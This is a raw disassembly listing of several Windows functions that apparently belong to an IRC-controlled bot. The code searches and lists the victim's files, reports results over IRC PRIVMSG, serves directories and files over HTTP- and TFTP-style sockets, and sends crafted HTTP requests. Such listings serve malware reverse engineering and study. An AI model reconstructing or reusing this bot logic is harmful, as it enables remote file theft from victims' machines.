var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_415390
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
push eax
jz short loc_40607E
push offset aS_2 ; "\\%s"
jmp short loc_406086
; ---------------------------------------------------------------------------
loc_40607E: ; CODE XREF: sub_406048+2Dj
mov byte ptr [eax], 5Ch
push offset aS_1 ; "%s"
loc_406086: ; CODE XREF: sub_406048+34j
lea eax, [ebp+var_10C]
push eax
call sub_415316
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_415B10
test eax, eax
pop ecx
jbe short loc_406121
mov [ebp+arg_8], 2
loc_4060B1: ; CODE XREF: sub_406048+D7j
lea eax, [ebp+var_10C]
push eax
call sub_415B10
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_4060F1
cmp [ebp+esi+var_10C], 25h
jnz short loc_4060F1
cmp [ebp+esi+var_10B], 32h
jnz short loc_4060F1
cmp [ebp+esi+var_10A], 30h
jnz short loc_4060F1
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40610B
; ---------------------------------------------------------------------------
loc_4060F1: ; CODE XREF: sub_406048+79j
; sub_406048+83j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_406101
push 5Ch
pop eax
jmp short loc_406104
; ---------------------------------------------------------------------------
loc_406101: ; CODE XREF: sub_406048+B2j
movsx eax, al
loc_406104: ; CODE XREF: sub_406048+B7j
mov [ebp+ebx+var_210], al
loc_40610B: ; CODE XREF: sub_406048+A7j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_415B10
cmp esi, eax
pop ecx
jb short loc_4060B1
loc_406121: ; CODE XREF: sub_406048+60j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_415316
lea eax, [ebp+var_314]
push offset asc_426CF0 ; "\n"
push eax
call sub_416B3F
add esp, 18h
lea eax, [ebp+var_314]
push eax
call dword_421094 ; GetFileAttributesA
xor esi, esi
inc esi
cmp eax, 10h
jz short loc_40616F
cmp eax, 0FFFFFFFFh
jnz short loc_406172
push [ebp+arg_0]
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_40616F: ; CODE XREF: sub_406048+11Bj
mov [ebp+var_4], esi
loc_406172: ; CODE XREF: sub_406048+120j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40617F
mov [ebp+var_4], esi
loc_40617F: ; CODE XREF: sub_406048+132j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4061F9
cmp [ebp+arg_C], edi
jz short loc_4061ED
lea eax, [ebp+var_314]
push offset asc_426CEC ; "*"
push eax
call sub_415A30
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_415316
lea eax, [ebp+var_210]
push eax
call sub_406A35
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_415316
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_406248
; ---------------------------------------------------------------------------
loc_4061ED: ; CODE XREF: sub_406048+14Ej
push ebx
loc_4061EE: ; CODE XREF: sub_406048+125j
call dword_43CABC ; closesocket
jmp loc_4062DE
; ---------------------------------------------------------------------------
loc_4061F9: ; CODE XREF: sub_406048+149j
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
call dword_421078 ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_406248
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_415316
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
call dword_421090 ; GetFileSize
push esi
mov [ebp+var_330], eax
call dword_42106C ; CloseHandle
loc_406248: ; CODE XREF: sub_406048+1A3j
; sub_406048+1CEj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_426CA8
push eax
call sub_415316
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_414DDA
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_441B9C[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405ECC
push edi
push edi
call dword_42108C ; CreateThread
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_441BAC[ecx], eax
jnz short loc_4062ED
push ebx
call dword_43CABC ; closesocket
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_8C4]
push offset unk_426C58
push eax
call sub_415316
lea eax, [ebp+var_8C4]
push eax
call sub_40B078
add esp, 10h
loc_4062DE: ; CODE XREF: sub_406048+1ACj
; sub_406048+2ADj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4062E5: ; CODE XREF: sub_406048+2ABj
push 5
call dword_421060 ; Sleep
loc_4062ED: ; CODE XREF: sub_406048+266j
cmp [ebp+var_318], edi
jz short loc_4062E5
jmp short loc_4062DE
sub_406048 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4062F7 proc near ; CODE XREF: sub_405ECC+153p
; sub_40CD3A+4602p
var_594 = byte ptr -594h
var_490 = byte ptr -490h
var_388 = dword ptr -388h
var_374 = byte ptr -374h
var_368 = dword ptr -368h
var_35C = byte ptr -35Ch
var_248 = byte ptr -248h
var_48 = byte ptr -48h
var_20 = byte ptr -20h
var_18 = word ptr -18h
var_16 = word ptr -16h
var_12 = word ptr -12h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 594h
push ebx
push esi
push edi
xor ebx, ebx
push 104h
lea eax, [ebp+var_594]
push ebx
push eax
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call sub_415390
mov edi, [ebp+arg_0]
push offset asc_426CF0 ; "\n"
push edi
call sub_416B3F
add esp, 14h
cmp [ebp+arg_8], ebx
push edi
jz short loc_406356
push [ebp+arg_8]
mov esi, 200h
lea eax, [ebp+var_248]
push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n"
push esi
push eax
call sub_41588A
add esp, 14h
jmp loc_406452
; ---------------------------------------------------------------------------
loc_406356: ; CODE XREF: sub_4062F7+3Bj
cmp [ebp+arg_C], ebx
jz loc_406438
call sub_415B10
mov [eax+edi-1], bl
push edi
mov esi, 200h
push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
push edi
push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
push edi
call sub_415B10
push 3Ch
push 96h
mov byte ptr [eax+edi], 2Ah
push 0E6h
push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_406452
; ---------------------------------------------------------------------------
loc_406438: ; CODE XREF: sub_4062F7+62j
mov esi, 200h
push offset aSearchingForS ; "Searching for: %s\r\n"
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 10h
loc_406452: ; CODE XREF: sub_4062F7+5Aj
; sub_4062F7+13Fj
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
cmp [ebp+arg_C], ebx
jz short loc_4064EA
push [ebp+arg_C]
call sub_415B10
cmp eax, 2
pop ecx
jbe short loc_4064EA
push [ebp+arg_C]
call sub_415B10
sub eax, 3
pop ecx
jz short loc_40649E
loc_406492: ; CODE XREF: sub_4062F7+1A5j
mov ecx, [ebp+arg_C]
cmp byte ptr [eax+ecx], 2Fh
jz short loc_40649E
dec eax
jnz short loc_406492
loc_40649E: ; CODE XREF: sub_4062F7+199j
; sub_4062F7+1A2j
inc eax
push eax
lea eax, [ebp+var_594]
push [ebp+arg_C]
push eax
call sub_416BE0
lea eax, [ebp+var_594]
push eax
push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
loc_4064EA: ; CODE XREF: sub_4062F7+17Dj
; sub_4062F7+18Bj
lea eax, [ebp+var_388]
push eax
push edi
call dword_4210A8 ; FindFirstFileA
lea ecx, [ebp+var_388]
mov [ebp+arg_0], eax
push ecx
push eax
call dword_4210A4 ; FindNextFileA
test eax, eax
jz loc_4068E1
mov edi, 1FFh
loc_406516: ; CODE XREF: sub_4062F7+5E4j
cmp [ebp+var_388], ebx
jz loc_4068C9
lea eax, [ebp+var_35C]
push offset a__ ; ".."
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4068C9
lea eax, [ebp+var_35C]
push offset a__1 ; "."
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4068C9
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_374]
push eax
call dword_4210A0 ; FileTimeToLocalFileTime
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_20]
push eax
call dword_42109C ; FileTimeToSystemTime
mov ax, [ebp+var_10]
mov ecx, offset aPm ; "PM"
cmp ax, 0Ch
ja loc_406613
mov ecx, offset aAm ; "AM"
movzx eax, ax
loc_406592: ; CODE XREF: sub_4062F7+322j
push ecx
movzx ecx, [ebp+var_E]
push ecx
push eax
movzx eax, [ebp+var_18]
push eax
movzx eax, [ebp+var_12]
push eax
movzx eax, [ebp+var_16]
push eax
lea eax, [ebp+var_48]
push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
push eax
call sub_415316
add esp, 20h
test byte ptr [ebp+var_388], 10h
jz loc_40674A
inc [ebp+var_8]
cmp [ebp+arg_8], ebx
jz short loc_40661E
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41588A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n"
push esi
push eax
call sub_41588A
add esp, 28h
jmp loc_40689A
; ---------------------------------------------------------------------------
loc_406613: ; CODE XREF: sub_4062F7+28Dj
movzx eax, ax
sub eax, 0Ch
jmp loc_406592
; ---------------------------------------------------------------------------
loc_40661E: ; CODE XREF: sub_4062F7+2D5j
cmp [ebp+arg_C], ebx
jz loc_406708
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_0 ; "%s%s/"
push edi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
lea eax, [ebp+var_35C]
push eax
call sub_415B10
cmp eax, 1Eh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_4066C4
push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
jmp short loc_4066C9
; ---------------------------------------------------------------------------
loc_4066C4: ; CODE XREF: sub_4062F7+3C4j
push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"
loc_4066C9: ; CODE XREF: sub_4062F7+3CBj
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
push edi
jmp loc_40688B
; ---------------------------------------------------------------------------
loc_406708: ; CODE XREF: sub_4062F7+32Aj
lea eax, [ebp+var_35C]
push eax
push offset aS_0 ; "<%s>"
lea eax, [ebp+var_490]
push 106h
push eax
call sub_41588A
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_490]
push eax
push offset a31s21s ; "%-31s %-21s\r\n"
loc_406735: ; CODE XREF: sub_4062F7+47Bj
lea eax, [ebp+var_248]
push esi
push eax
call sub_41588A
add esp, 24h
jmp loc_40689A
; ---------------------------------------------------------------------------
loc_40674A: ; CODE XREF: sub_4062F7+2C9j
inc [ebp+var_4]
cmp [ebp+arg_8], ebx
jz short loc_406774
push ebx
push [ebp+var_368]
call sub_40C10D
push eax
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push [ebp+arg_8]
push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n"
jmp short loc_406735
; ---------------------------------------------------------------------------
loc_406774: ; CODE XREF: sub_4062F7+459j
cmp [ebp+arg_C], ebx
jz loc_406874
push 0E6h
push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
lea eax, [ebp+var_248]
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
push [ebp+arg_C]
push offset aSS_2 ; "%s%s"
push edi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
lea eax, [ebp+var_35C]
push eax
call sub_415B10
cmp eax, 1Fh
pop ecx
lea eax, [ebp+var_35C]
push eax
lea eax, [ebp+var_248]
jbe short loc_40681A
push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
jmp short loc_40681F
; ---------------------------------------------------------------------------
loc_40681A: ; CODE XREF: sub_4062F7+51Aj
push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"
loc_40681F: ; CODE XREF: sub_4062F7+521j
push edi
push eax
call sub_41588A
add esp, 10h
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
mov eax, [ebp+var_368]
shr eax, 0Ah
push eax
lea eax, [ebp+var_48]
push 3Ch
push eax
push 96h
push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
lea eax, [ebp+var_248]
push edi
push eax
call sub_41588A
add esp, 1Ch
jmp short loc_40689A
; ---------------------------------------------------------------------------
loc_406874: ; CODE XREF: sub_4062F7+480j
push [ebp+var_368]
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+var_35C]
push eax
push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n"
push esi
loc_40688B: ; CODE XREF: sub_4062F7+40Cj
lea eax, [ebp+var_248]
push eax
call sub_41588A
add esp, 18h
loc_40689A: ; CODE XREF: sub_4062F7+317j
; sub_4062F7+44Ej ...
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
cmp [ebp+arg_8], ebx
jz short loc_4068C9
push 7D0h
call dword_421060 ; Sleep
loc_4068C9: ; CODE XREF: sub_4062F7+225j
; sub_4062F7+240j ...
lea eax, [ebp+var_388]
push eax
push [ebp+arg_0]
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz loc_406516
loc_4068E1: ; CODE XREF: sub_4062F7+214j
push [ebp+arg_0]
call dword_421098 ; FindClose
cmp [ebp+arg_8], ebx
jz short loc_406924
mov eax, [ebp+var_8]
cdq
push edx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
mov eax, [ebp+var_4]
cdq
push edx
push eax
call sub_40C10D
pop ecx
pop ecx
push eax
lea eax, [ebp+var_248]
push [ebp+arg_8]
push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
push eax
call sub_415316
add esp, 14h
jmp short loc_406952
; ---------------------------------------------------------------------------
loc_406924: ; CODE XREF: sub_4062F7+5F6j
cmp [ebp+arg_C], ebx
lea eax, [ebp+var_248]
jz short loc_40693E
push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
push eax
call sub_415316
pop ecx
pop ecx
jmp short loc_406952
; ---------------------------------------------------------------------------
loc_40693E: ; CODE XREF: sub_4062F7+636j
push [ebp+var_8]
push [ebp+var_4]
push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
push eax
call sub_415316
add esp, 10h
loc_406952: ; CODE XREF: sub_4062F7+62Bj
; sub_4062F7+645j
lea eax, [ebp+var_248]
push ebx
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_248]
push eax
push [ebp+arg_4]
call dword_43CA74 ; send
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_4062F7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406978 proc near ; CODE XREF: sub_405ECC+135p
var_404 = byte ptr -404h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push 3
push esi
push 1
push 80000000h
push [ebp+arg_4]
mov edi, 400h
mov [ebp+var_4], esi
call dword_421078 ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_406A30
push esi
push ebx
call dword_421090 ; GetFileSize
cmp eax, esi
mov [ebp+arg_4], eax
jz short loc_406A29
loc_4069BD: ; CODE XREF: sub_406978+AFj
push 400h
lea eax, [ebp+var_404]
push esi
push eax
call sub_415390
add esp, 0Ch
cmp edi, [ebp+arg_4]
jbe short loc_4069DA
mov edi, [ebp+arg_4]
loc_4069DA: ; CODE XREF: sub_406978+5Dj
mov eax, [ebp+arg_4]
push 2
neg eax
push esi
push eax
push ebx
call dword_4210AC ; SetFilePointer
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_404]
push edi
push eax
push ebx
call dword_421068 ; ReadFile
push esi
lea eax, [ebp+var_404]
push edi
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_406A24
call dword_43C9B8 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_406A29
xor eax, eax
loc_406A24: ; CODE XREF: sub_406978+9Bj
sub [ebp+arg_4], eax
jnz short loc_4069BD
loc_406A29: ; CODE XREF: sub_406978+43j
; sub_406978+A8j
push ebx
call dword_42106C ; CloseHandle
loc_406A30: ; CODE XREF: sub_406978+30j
pop edi
pop esi
pop ebx
leave
retn
sub_406978 endp
; =============== S U B R O U T I N E =======================================
sub_406A35 proc near ; CODE XREF: sub_406048+17Bp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
xor esi, esi
push edi
call sub_415B10
test eax, eax
pop ecx
jbe short loc_406A5E
loc_406A48: ; CODE XREF: sub_406A35+27j
cmp byte ptr [esi+edi], 5Ch
jnz short loc_406A52
mov byte ptr [esi+edi], 2Fh
loc_406A52: ; CODE XREF: sub_406A35+17j
push edi
inc esi
call sub_415B10
cmp esi, eax
pop ecx
jb short loc_406A48
loc_406A5E: ; CODE XREF: sub_406A35+11j
mov eax, edi
pop edi
pop esi
retn
sub_406A35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406A63 proc near ; CODE XREF: sub_40CD3A+2A1Ap
var_4A0 = byte ptr -4A0h
var_310 = byte ptr -310h
var_110 = byte ptr -110h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 4A0h
push ebx
lea eax, [ebp+var_4A0]
push edi
push eax
push 101h
call dword_43C99C ; WSAStartup
push 6
push 1
push 2
call dword_43CAA4 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_43CA24 ; ntohs
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_409F7A
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jz short loc_406B40
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_406ADC
mov eax, offset byte_43B658
loc_406ADC: ; CODE XREF: sub_406A63+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41588A
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_43CA74 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_4153F0
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_43CA3C ; recv
pop esi
loc_406B40: ; CODE XREF: sub_406A63+6Bj
push ebx
call dword_43CABC ; closesocket
call dword_43C984 ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_415316
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_406B80
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_406B80: ; CODE XREF: sub_406A63+102j
pop edi
pop ebx
leave
retn
sub_406A63 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406B84 proc near ; CODE XREF: sub_406B84:loc_407069p
; DATA XREF: sub_4071B6+104o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
var_780 = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
var_57C = byte ptr -57Ch
var_37C = dword ptr -37Ch
var_378 = byte ptr -378h
var_274 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
var_D6 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
var_44 = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
movsw
xor ebx, ebx
xor eax, eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
inc eax
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_43CAA4 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_406C47
push 190h
call dword_421060 ; Sleep
call dword_43C9B8 ; WSAGetLastError
push eax
lea eax, [ebp+var_780]
push offset unk_427310
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_406C27
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412BD1
add esp, 14h
loc_406C27: ; CODE XREF: sub_406B84+7Ej
lea eax, [ebp+var_780]
push eax
call sub_40B078
push [ebp+var_170]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
loc_406C47: ; CODE XREF: sub_406B84+50j
mov eax, [ebp+var_170]
push 10h
imul eax, 234h
push ebx
mov dword_441BA4[eax], edi
lea eax, [ebp+var_44]
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_44], 2
push [ebp+var_168]
call dword_43CA24 ; ntohs
mov [ebp+var_42], ax
lea eax, [ebp+var_44]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_43CA50 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_406CAC
push 1388h
call dword_421060 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_407069
; ---------------------------------------------------------------------------
loc_406CAC: ; CODE XREF: sub_406B84+10Dj
lea eax, [ebp+var_378]
push offset aRb ; "rb"
push eax
call sub_415A08
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jnz short loc_406D2A
push 190h
call dword_421060 ; Sleep
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_780]
push offset unk_4272C0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_412BD1
lea eax, [ebp+var_780]
push eax
call sub_40B078
push [ebp+var_170]
call sub_4150F0
add esp, 28h
push ebx
call dword_421048 ; ExitThread
loc_406D2A: ; CODE XREF: sub_406B84+140j
mov esi, 200h
loc_406D2F: ; CODE XREF: sub_406B84+49Fj
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_407029
mov [ebp+var_880], edi
mov edi, 80h
push edi
lea eax, [ebp+var_D8]
push ebx
push eax
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_43CA0C ; select
test eax, eax
jle loc_40701D
mov al, byte_43B658
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_43C9FC ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_58]
push eax
call sub_415316
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_407007
cmp [ebp+var_D7], 1
jnz loc_406F59
lea eax, [ebp+var_274]
push eax
call sub_415B10
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+var_274]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_D6]
push eax
lea eax, [ebp+var_274]
push eax
call sub_416D70
add esp, 14h
test eax, eax
jnz loc_406F13
lea eax, [ebp+var_1C]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_1C]
push [ebp+var_14]
push eax
call sub_416D70
add esp, 10h
